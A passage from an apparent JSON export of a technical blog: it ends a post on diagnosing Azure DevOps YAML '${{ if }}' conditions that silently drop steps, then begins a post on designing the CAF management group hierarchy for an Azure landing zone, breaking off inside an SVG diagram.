id=\"step-2-add-the-diagnostic-probe\"\u003eStep 2: Add the diagnostic probe\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Build.Reason: $(Build.Reason)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Diagnostic: confirm Build.Reason value\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run security-scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SAST security scan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRe-run the pipeline. The probe shows \u003ccode\u003eBuild.Reason: PullRequest\u003c/code\u003e. The variable exists at runtime, but the step is still absent from the Expanded YAML. The phase mismatch is confirmed.\u003c/p\u003e\n\u003ch3 id=\"step-3-refactor-to-a-runtime-condition\"\u003eStep 3: Refactor to a runtime \u003ccode\u003econdition:\u003c/code\u003e\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BEFORE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run security-scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SAST security scan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# AFTER\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run security-scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SAST security scan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"step-4-verify-on-both-trigger-types\"\u003eStep 4: Verify on both trigger types\u003c/h3\u003e\n\u003cp\u003eTrigger a direct push. The Expanded YAML includes the scan step. The run log shows \u003cstrong\u003eSAST security scan — Step skipped\u003c/strong\u003e because the condition evaluated to \u003ccode\u003efalse\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eTrigger a PR run. The Expanded YAML includes the scan step. The run log shows the step executing correctly.\u003c/p\u003e\n\u003cp\u003eThe silence is gone. Pipeline behavior is now auditable and debuggable.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices-and-optimization\"\u003eBest Practices and Optimization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDefault to runtime \u003ccode\u003econdition:\u003c/code\u003e for step branching.\u003c/strong\u003e A condition-gated step is always visible in the Expanded YAML and produces a \u0026ldquo;Step skipped\u0026rdquo; log entry. Compile-time exclusions leave no evidence.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eReserve \u003ccode\u003e${{ if }}\u003c/code\u003e for structural changes.\u003c/strong\u003e Use it for including template files, adding entire jobs, or generating matrices. These require Phase 2 decisions.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAudit every \u003ccode\u003e${{ if variables[...] }}\u003c/code\u003e in your pipeline.\u003c/strong\u003e If the variable is not in your static YAML or \u003ccode\u003eparameters:\u003c/code\u003e block, it evaluates to empty string at compile time. This is almost always a bug.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eUse typed \u003ccode\u003eboolean\u003c/code\u003e parameters.\u003c/strong\u003e This avoids the \u0026ldquo;boolean string\u0026rdquo; trap where the string \u003ccode\u003e'false'\u003c/code\u003e evaluates as truthy.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eCheck the Expanded YAML first.\u003c/strong\u003e It is the fastest way to distinguish between a compile-time exclusion and a runtime skip. Do not proceed with other debugging until you check the Expanded YAML.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting-common-issues\"\u003eTroubleshooting Common Issues\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCondition works on manual runs but fails on PR-triggered runs\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eA compile-time \u003ccode\u003e${{ if parameters.myParam }}\u003c/code\u003e uses a parameter with a default that works in manual runs but is not passed by the PR trigger. Set a sensible default in the \u003ccode\u003eparameters:\u003c/code\u003e block and confirm the PR trigger policy isn\u0026rsquo;t overriding it with an empty value.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003econdition: eq(variables['Build.Reason'], 'PullRequest')\u003c/code\u003e skips the step even on a PR\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe pipeline was triggered by a pull request \u003cem\u003ecompletion\u003c/em\u003e event, not a pull request \u003cem\u003evalidation\u003c/em\u003e trigger. The \u003ccode\u003eBuild.Reason\u003c/code\u003e value for completion is \u003ccode\u003eIndividualCI\u003c/code\u003e. Use the \u003ccode\u003ein()\u003c/code\u003e function:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ein(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;, \u0026#39;IndividualCI\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e${{ elseif }}\u003c/code\u003e and \u003ccode\u003e${{ else }}\u003c/code\u003e blocks are also missing from Expanded YAML\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eIf an \u003ccode\u003eif\u003c/code\u003e branch references a runtime variable (evaluating to false), the \u003ccode\u003eelseif\u003c/code\u003e evaluates. If the \u003ccode\u003eelse\u003c/code\u003e branch executes but its contents \u003cem\u003ealso\u003c/em\u003e reference runtime variables in nested conditions, it produces the same silent failure. Trace each branch independently in the Expanded YAML.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eA static YAML variable used in \u003ccode\u003e${{ if }}\u003c/code\u003e evaluates as truthy when it should be falsy\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe variable is defined as \u003ccode\u003efalse\u003c/code\u003e (YAML boolean), which is stored as the string \u003ccode\u003e'false'\u003c/code\u003e. Any non-empty string is truthy. Use an explicit equality check:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Correct\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables.isProd, \u0026#39;true\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003e${{ if }}\u003c/code\u003e evaluates before the pipeline is queued. Predefined variables, variable group values, and task outputs do not exist yet. Conditions referencing them are always false.\u003c/li\u003e\n\u003cli\u003eThe Expanded YAML view distinguishes a compile-time exclusion (step is absent) from a runtime skip (step is present with a \u003ccode\u003econdition:\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe default refactoring path removes the \u003ccode\u003e${{ if }}\u003c/code\u003e wrapper and adds a \u003ccode\u003econdition:\u003c/code\u003e field on the step. This keeps the step in the plan and makes skip behavior visible in the run log.\u003c/li\u003e\n\u003cli\u003eReserve \u003ccode\u003e${{ if }}\u003c/code\u003e for values that exist at compile time: template \u003ccode\u003eparameters:\u003c/code\u003e and static YAML \u003ccode\u003evariables:\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eTask output variables can never be read by \u003ccode\u003e${{ if }}\u003c/code\u003e — use a runtime \u003ccode\u003econdition:\u003c/code\u003e instead.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eApply the Expanded YAML diagnostic to your pipelines to find silently broken conditions already in production\u003c/li\u003e\n\u003cli\u003eRead the Ultimate Guide to Azure DevOps YAML Expressions (Pillar Post) for a full treatment of variable availability\u003c/li\u003e\n\u003cli\u003eRead the Cross-Job Communication article for the complete output variable dependency syntax\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions\"\u003eMicrosoft Learn: Expressions in Azure Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/build/variables?view=azure-devops\u0026amp;tabs=yaml#predefined-variables\"\u003eMicrosoft Learn: Predefined build variables\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/template-parameters\"\u003eMicrosoft Learn: Template parameters reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops\"\u003eMicrosoft Learn: Define variables — variable scopes and runtime behavior\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A dimly lit, futuristic server room. A technician is using a handheld glowing scanner to find a \"ghost\" server that is missing from the physical rack but appears in the logs. The scanner's beam reveals a shimmering, translucent outline of the missing hardware. Dark, moody, high-tech atmosphere. Wide landscape format, 16:9 aspect ratio.\n\n2. **3D Abstract / Isometric:** Isometric view of a clean, white grid. Several solid gray blocks are arranged in a sequence. One block in the middle is represented only by a faint, glowing dashed outline, as if it were erased. A magnifying glass hovers over the empty space, revealing hidden code underneath. Wide landscape format, 16:9 aspect ratio. Professional and modern.\n\n3. **Minimalist Vector / Flat:** A clean flat vector illustration. A horizontal timeline shows five stages. A red \"X\" mark is placed over a bridge between stage 2 and stage 4, representing a gap. The colors are muted grays with a single vibrant orange highlight on the gap. Symbolic and professional. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** A high-contrast dark image of glowing data conduits. One conduit has a visible break where the light stops and then reappears further down. The area of the break is filled with static or digital noise, representing a silent failure. Futuristic, technological, and slightly mysterious. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D blocks on a brightly lit surface. Most blocks are vibrant blue, but one block is semi-transparent and fading away into the background. A soft-focus lens effect emphasizes the \"missing\" block. Pastel color palette, friendly but professional. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Extreme macro close-up of a semiconductor wafer. Focus on a specific region where the intricate pathways seem to disappear or become invisible, while the surrounding structure remains sharp. Dramatic side-lighting highlights the texture. Represents the search for a hidden, silent flaw. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"Why Azure DevOps ${{ if }} blocks silently skip steps when given runtime variables — and how to diagnose and refactor broken conditions using the Expanded YAML view.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/debugging-silent-pipeline-failures/","title":"Debugging Silent Azure DevOps YAML if Statement Failures"},{"content":"\u003cp\u003eThe management group hierarchy is the first IaC file you commit to a landing zone repository. It is also the decision that is hardest to change later. Moving subscriptions between management groups after workloads are deployed triggers policy re-evaluation and potential compliance violations across every resource in those subscriptions. Get it right the first time.\u003c/p\u003e\n\u003cp\u003eThe placement of a subscription in the hierarchy determines which policies it inherits, which RBAC assignments cascade down to it, and how costs roll up for reporting. A hierarchy designed without this context ends up as a flat list of subscriptions under the Tenant Root — which is structurally identical to having no hierarchy at all.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImplement the standard CAF management group hierarchy.\u003c/li\u003e\n\u003cli\u003eStructure subscriptions for production, non-production, and sandbox environments.\u003c/li\u003e\n\u003cli\u003eEnforce naming conventions as IaC.\u003c/li\u003e\n\u003cli\u003eDeploy the hierarchy using Terraform AVM and Bicep AVM.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 1 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e. Every subsequent article builds on the hierarchy deployed here.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-caf-management-group-hierarchy\"\u003eThe CAF Management Group Hierarchy\u003c/h2\u003e\n\u003cp\u003eThe Cloud Adoption Framework (CAF) defines a standard hierarchy built around governance and connectivity requirements, not org chart reporting lines. The structure under the Tenant Root:\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 392 409\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,0 L 280,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,32 L 184,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,32 L 280,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,64 L 184,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,64 L 328,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,112 L 88,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,112 L 232,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,112 L 376,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,160 L 40,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,160 L 88,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,160 L 184,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,160 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,160 L 376,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,192 L 184,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,192 L 240,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,240 L 88,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,240 L 192,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,240 L 304,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,288 L 88,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,288 L 144,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,288 L 192,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,288 L 256,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,288 L 304,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,336 L 192,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,336 L 304,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,384 L 192,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,384 L 304,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,112 L 0,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,240 L 0,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,64 L 40,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,160 L 40,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,0 L 88,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,112 L 88,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,240 L 88,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,240 L 104,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,336 L 104,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,192 L 128,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,112 L 144,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,288 L 144,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,32 L 184,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,64 L 184,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,160 L 184,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,240 L 192,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,336 L 192,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,240 L 216,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,336 L 216,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,112 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,192 L 240,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,288 L 256,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,0 L 280,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,112 L 288,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,240 L 304,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,336 L 304,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,64 L 328,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,112 L 376,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,96 L 40,104' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='56.000000,96.000000 44.000000,90.400002 44.000000,101.599998' fill='currentColor' transform='rotate(90.000000, 40.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 40,224 L 40,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='56.000000,224.000000 44.000000,218.399994 44.000000,229.600006' fill='currentColor' transform='rotate(90.000000, 40.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 128,224 L 128,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='144.000000,224.000000 132.000000,218.399994 132.000000,229.600006' fill='currentColor' transform='rotate(90.000000, 128.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 144,320 L 144,328' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,320.000000 148.000000,314.399994 148.000000,325.600006' fill='currentColor' transform='rotate(90.000000, 144.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 184,96 L 184,104' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='200.000000,96.000000 188.000000,90.400002 188.000000,101.599998' fill='currentColor' transform='rotate(90.000000, 184.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 240,224 L 240,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='256.000000,224.000000 244.000000,218.399994 244.000000,229.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 256,320 L 256,328' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='272.000000,320.000000 260.000000,314.399994 260.000000,325.600006' fill='currentColor' transform='rotate(90.000000, 256.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 328,96 L 328,104' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='344.000000,96.000000 332.000000,90.400002 332.000000,101.599998' fill='currentColor' transform='rotate(90.000000, 328.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='260' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='276' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='276' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='148' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='148' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='260' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='260' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='356' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='372' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='356' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='372' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='260' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='260' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='276' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='356' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='372' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='356' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' 